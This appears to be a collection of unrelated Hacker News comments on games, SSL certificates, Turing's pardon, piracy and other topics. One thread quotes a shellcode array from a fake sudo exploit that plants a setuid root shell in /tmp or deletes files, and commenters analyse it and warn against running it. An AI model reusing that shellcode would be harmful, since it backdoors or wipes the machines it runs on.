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I doubt there more skill being exercised when watching TV or looking at cat pictures at Reddit. I don't play these games but I think they probably are more engaging than other activities.

Zynga games and slot machines are an easy target for because they are time sinks that aren't common in HN crowd. But imagine some outsider looking at your day under a lens and regulating how you spend your time.

What should be the metric by which you classify an activity as being "good"? Inducing happyness? I bet if you ask Zygna customers they'd all say Farmville is their favorite game. Productivity?

Should people be allowed to spend large amounts of money to buy cars they don't really need? Electronics?
http://us4.campaign-archive2.com/home/?u=a2e40d31d41d5e395f4... seems to be their archive providing this RSS link:

http://us4.campaign-archive1.com/feed?u=a2e40d31d41d5e395f44...
That's a very fair point. Thinking about it, the morality inclines for a bit after a war, then declines as another appears. Well that's my perception anyway.
No. Something even more difficult to shut down will be created.
By the time these seizures occur, they have already collected all of the evidence they can from their public website, and there is nothing that would preclude the government from serving search warrants prior to serving notice of a domain seizure.

As to your comment about Corporations not being people...may I introduce you to Corporate Personhood. According to Wikipedia....

Corporate personhood is the status conferred upon corporations under the law, which allows corporations to have rights and responsibilities similar to those of a natural person.....

In Santa Clara County v. Southern Pacific Railroad, 118 U.S. 394 (1886), the Supreme Court recognized corporations as persons for the purposes of the Fourteenth Amendment. In a headnote—not part of the opinion—the reporter noted that the Chief Justice began oral argument by stating, "The court does not wish to hear argument on the question whether the provision in the Fourteenth Amendment to the Constitution, which forbids a State to deny to any person within its jurisdiction the equal protection of the laws, applies to these corporations. We are all of the opinion that it does."
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Before 90s he was a cool geek, famous millionaire guy, consuming too much clothes. He had always trendy fashion look. He bought one of most expensive cars when he was in his 20s. A Porsche then Mercedes. In his dashing days at Apple and NeXT, he weared the most expensive Brioni suits. He had a Plane. A super expensive plane. Do you know why? He said: "What I really need is a plane where I can take my family to Hawaii on vacation, go to the East Coast." He loved to stay in expensive resort hotels. Consumed too much there. Sorry but for me staying in a resort hotel doing nothing but looking to the sea 20 days is one of last things what would I do before I die.

What are you aiming for here? Has Steve been happier in this part of his
life? Why has he changed his life style? To get unhappier?
Axiom: The faster you (force yourself to) read, the faster you will be able to read (and comprehend).

This is just something I have found to be true, and doesnt come backed by all of the speed reading research (or marketing). As far as I know it to be you just need to read faster and stop trying to understand every single word and sentence. Don't try to grok every word just keep reading. The next piece of reading you do will happen that much faster (and faster, and faster). And when you come to something you do need to read and consciously comprehend every word, you'll be able to do that even faster than you could before.
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Real "engineers" of course write in Fortran and have no truck with this la di dah hippy pointer stuff :-)
This topic was rather fully explored in a 1971 book:
Mutant 59: The plastic eaters by http://en.wikipedia.org/wiki/Kit_Pedler and Gerry Davis (both affiliated with Dr. Who)

As a kid that book seemed captivating(scenes of disintegrating airplane, sewage exploding etc.), upon rereading it some years later the plotting and characters seem hackneyed.
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Huh, is this a hoax? My installation of Chrome still sends Accept-Charset for every HTTP GET request.
There are lots of things that are hard to shut down -- but generally they stay small because they're harder to use.

If there was _only_ harder-to-use, decentralized stuff, though... I wonder if consumers (as opposed to power users) would still pirate.
I can imagine the SSL cert sellers laughing at those buying them. How is it that money can BUY TRUST is beyond my comprehension.
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Sleep apnoea is bad. Please check that if your girlfriend/boyfriend tells you that you have breathing stops when you sleep.

I had sleep apnea, too. It went away with band aids over the nose and weight loss. (I got the weight and some other problems because I was tired from an undiagnosed allergy. Check that too, if you get really tired all the time... [Disclaimer: I have no idea how unusual food allergies like mine are, i.e. without throat/nose problems.])
Yeah I wish I measured that before switching ;-) That will be a good lesson for me: next time I experiment with something, I'll run some tests before...
That's disingenuous. You should be bundling your CA cert with your cert anyway, which would avoid that problem.
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Well how can you trust a company you have never dealt with before? It used to be that SSL certificates were a mark of insurance, proof that they had thought about securing your data in transmission, and proof that someone had validated the company as being real (like an auditor should). Nowadays points 1 and 3 are no longer true.
And thus forces programmer to think about the order of non-commutative operations.
I've read elsewhere that Apple also started fronting the capital for the plant investment required to build the components they need, in return for very favourable lock-in agreements ("We will always be able to buy your product at 10% less than anyone else." That kind of thing.)

In short, Apple is thinking big & thinking long term all the time & they are reaping the benefits. Even if you don't like the products (and I personally find the whole walled garden thing somewhat creepy) you have to recognise that their strategic thinking is what's lead them to this dominant position in terms of profits.

(There's also the taking advantage of something approximating slave labour in China thing of course, but sadly that's hardly limited to Apple: like everything else they just seem to be better at it than anyone else is.)
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It's weird that you think that "traditional" (whatever that means) games don't have analysts looking at player behaviour: in the games industry we call them "game designers" or "producers". Some game designers do some creative work but there is a lot of metrics-driven design in most games.
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Dial up is low latency when a modem adds 200 ms by itself?

Mobile is high bandwidth when an EDGE connection might pull 110 Kbps when the rural user is lucky?

Either you're confused, or talking about different tech.
Get the best SSL cert for the job...

If you just want to secure a login page for your own personal use, get a free cert from StartSSL.

If you need to give access to the page to more people, it's best to get a cheap cert from Comodo, etc. because they're compatible with more mobile devices. Don't spend more than $15

If you intend on selling something from the site, I'd recommend getting some form of company validation on top of the standard domain validation which is performed when buying cheaper certs. GeoTrust, Comodo, Globalsign, etc. can help. It should cost less than $100.

The best certs to get to re-assure your customers are the EV ones. No need to go full Verisign and waste ton of money on them, you can get them cheap-ish from Globalsign, Comodo and Geotrust resellers.

If you're getting a cert generated by an established certificate authority, it doesn't really matter who you buy it from. Aim for the best price for the level of support that you want to get.
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I need some advice about the below game I am planning to create

Name of the game : "The Recession"

What is the game all about?
The county is in recession and many people living the county are planning to migrate to another county because of recession as they are in poverty due to recession.

User task:
The task of the user here is to get the county out of recession by creating jobs for the unemployed people .To achieve that a user has to build new factories with help of loans/funds from Govt/banks/Venture capitalists and capture markets for the finished products in that county or nearby counties.The factories should earn him a profit and the user would be ranked based upon the money made as profit and number of unemployed people in that county.

This game is in the mould of Real Time strategy games but it's something different.And also data in the game will match with data from sites like data.gov for Unemployment etc.,

Here are my questions for Hacker news users
a) Whether I should go for KickStarter funding?
b) Which one is better? Flash or HTML5?
c) Whether I should approach venture funds for this? As I don't have prior experience in creating any of these..

Please suggest me some good answers for all these..

I have already done couple of apps like "TextOnly Browser for Android" which have reviewed by major sites like TechCrunch,NewYork Times and Wired..

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Now I know why I should have taken math in school :)
This is very impressive. This is sooo far removed from my daily job as "business application" developer, which makes it the more interesting. Thanks for posting.
I realize this is a rhetorical question, but the serious answer is that you can't measure fun (without an EEG?), just proxies for it. Typically these are things like how much time someone spends doing something, how much they spend on it, how much they talk to their friends about it. I'm pretty sure that yes, the dashboard physcab maintains supports these. If you have a better way of measuring fun then you can make several fortunes selling this.
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^That.

A simple rule of thumb is: don't run any commands you don't understand before looking up a few descriptions of what it means (or use man pages).

Number 2, for example, is just a bunch of shellcode, and unless you do penetration testing for a living, you probably can't directly see what it'd do. This goes not only for this particular script, but for mostly every piece of shellcode that can be written. (And make no mistake, there are a frapillion ways in which a piece of shellcode can utterly destroy your computer.) Ergo: don't run them if you don't get them.
Doesn't erlang effectively do this, allowing its processes to only execute a certain amount of vm instructions before allowing a switch to another process?
So did Steve Jobs; he saw a preview of an app I worked on and complained it did not have page flip. Can't stand it myself.
char esp[] _attribute_ ((section(".text"))) /* e.s.p release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

Can anyone explain this one? I would have guessed that it's causing an exec (or something equivalent) with argv "/bin/sh", "-c", "cp -p /bin/sh...". That's malicious if run as root ('4' in 4755 is setuid, so it basically hides a root shell in /tmp), but it's not 'rm -rf /'. I could believe that the post is wrong, but I'd still like to know how this works.

What I've gathered:

1. The final bytes of hex there are "/bin/sh\0-c\0", which is where I'm getting the argv from. The exec is mostly a guess, because I can't think what else it would be doing. The previous hex bytes are non-text, possibly precompiled executable code.

2. The '_attribute_ ((section(".text")))' is a gcc extension that causes this string not to be stored where it usually would be in the binary. I believe the .data section would be more normal? But I've never been very clear on what the different sections are for.
The only way not to overgeneralize is to say "I'm an Andy" or "I'm a Kate" or "I'm a Jerry".
Everyone is quite unique. The purpose of titles is to generalize a bit ;)
Guessing: given where he worked, that must be either Eindhoven or UTexas. Given the 'hundreds of college freshmen each year', I find it hard to believe it could be Eindhoven.
A market in which value is completely uncorrelated with cost of production is an empty market.
another great use is for diagnosing mobile applications (including ones you did not write) without needing to sniff wpa2 traffic. also, even as just a startup of 15 people, we use wpa2 enterprise to avoid such simple wireshark usage.
All EV certificates provide that feature, not just the ones sold by Verisign. Are you a paid shill of Verisign?

In general, no one should ever do business with Verisign, due to their practice of domain slamming, their Site Finder misfeature, and other shady practices.
that's the advantage of winning the war.

anyway, the whole concept of law today is based on that idea. law exists at a place, at a time. There are lots of cases that end up like that. "it was NOT a crime then, so even if it is a crime today, we can't do anything".

and on the other way around, by Ex post facto it would be pretty possible to aggravate some other charge based on old laws that applied at the time that today are considered crazy for some reason. It cannot be brought to prosecute gays today just because most countries limit ex post facto for 'rights' acquired later. but for anything else, it's fair game.

crazy.
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Not the least clear what this does.
It would not be, in any sense, a "whitewash", actually the reverse. A whitewash covers up mistakes. This would be an acknowledgement that the laws of the time were injust.
this handles all the certificate work on its own and auto generates and stores certificates in ~/.mitmproxy or something similar so you can quickly email it to your iDevice. although it is a little eerie to see my bank password in "plain-text", its fun to look at how other app makers send and receive data.
now we just need to write google search, google maps, facebook, twitter etc for dosbox, some type of linking mechanism, have it installed on all computer by default and we are sorted!
On top of what revorad said, think about what it takes to build and maintain your own platform. Will you have the resources?
> maybe we do owe them all an apology and some hard cash.

I would think this is a terrible idea. For example, my government might actually take it into its head to ask (yet again) that we get the Kohinoor diamond back :)
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It isn't, they are backwards compatible.
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What justice requires is that unjust, unfair and inhumane laws and punishments be struck down and that the people who suffered them unjustly be exonerated and pardoned - even if it comes long after the fact.

To announce today that Turing was unjustly convicted under a ridiculous law and that he will be posthumously pardoned is not to alter the historical context but to assert that the law is a living thing and that our conception of justice evolves over time.

Edit - it sounds like the Protection of Freedoms bill does just this. http://blog.jgc.org/2011/11/why-im-not-supporting-campaign-f...
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Incidentally, I mentally parse -1^2 as (-1)^2, but I parse -1² as -(1²). Reading your post I was thinking "well yeah, minus one squared is one, what else would it be?"
It's not even a valid C program, not to mention that it isn't a shell command

I found the earliest mention of this here, as part of a fake sudo exploit in 2005: http://seclists.org/fulldisclosure/2005/Aug/39

shoddy article.

[edit: as pointed out by hkolk, the exploit is fake and runs rm -rf]
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I'm really trying to get a grip on trans-cranial electric stimulation. The specificity of effects claimed from from such a general manipulation (enhanced learning, better mathematical skills) is a little unbelievable.

Statements like "warns me that if I remove an electrode and break the connection, the voltage passing through my brain will blind me for a good few seconds." which may be a misreporting, don't help to bolster credibility. It may indeed blind you due to some neurophysiological effect, but breaking the connection of a direct current circuit will simply stop the current (unless there is a huge inductor in the circuit somewhere, in which case there will be a spark to your scalp as the SAME current tries to keep flowing).
What do you want to do? Have multiple sites using the same ip address and port share a certificate? Get an SNI certificate, but beware of WinXP.
This is some awesome analysis. I have always thought that it would be good to compare both IPOs, but never took the time to actually do it.

Thanks!
These things come in waves. I remember in the early 90s when organised piracy was rife. There were courier groups transferring data between BBS systems, between countries, usually committing various kinds of telephone and bank fraud in their activities either to make long distance phone calls to transfer data on by modem, or to purchase hardware to store the data on. These were people who often did it for the love or status, and not for money. However, at the same time, these large boards would make money from selling tapes of the software, and others would sell floppy disks and CDs with the software on. The end consumer would end up having easy access to pirated software through friends, markets and other means. Then a crackdown happened, and it was an international effort.

People weren't all taken down directly for piracy, others were taken for fraud or anything else related to their activities in the piracy scene. Some of it would fail in court, but it would be after a year of not having access to their computer equipment.

Several years later we had Napster, and easy access to pirated music was in the hands of the normal user again, until Napster had to give up.

Now with torrents, we had something that resembled the scene of the early 90s closer. The crackdown is also similar.

After Napster we ended up with services like iTunes, last.fm and Spotify, and I think post torrent crackdown we should hopefully end up with similar video services giving us a choice between buying or renting videos for cheap or for free.

I'm optimistic that we'll see some improvement in the video delivery business over the coming years. It won't be as cheap as using btjunkie etc. and it won't have as wide a selection, but hopefully not too far from it for the bulk of consumers.
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Wouldn't it be great if there was a branch of science that looked at how different people respond to sleep over time rather than some guy making personal assertions with anecdotal evidence?
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Then why did the government posthumously apologise to Turing, describing his treatment as "horrifying" and "utterly unfair"?
Most of those must be executed as root to cause harm.
You just need to spend more time reading and your speed will increase naturally.

For example, I read a lot and it usually takes me no more than 2-3 hours to finish an average fiction book(about 0.5 mb in size) in my native language(I didn't received any training in speed reading)
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Neat, I'd forgotten languages could execute RTL as well.
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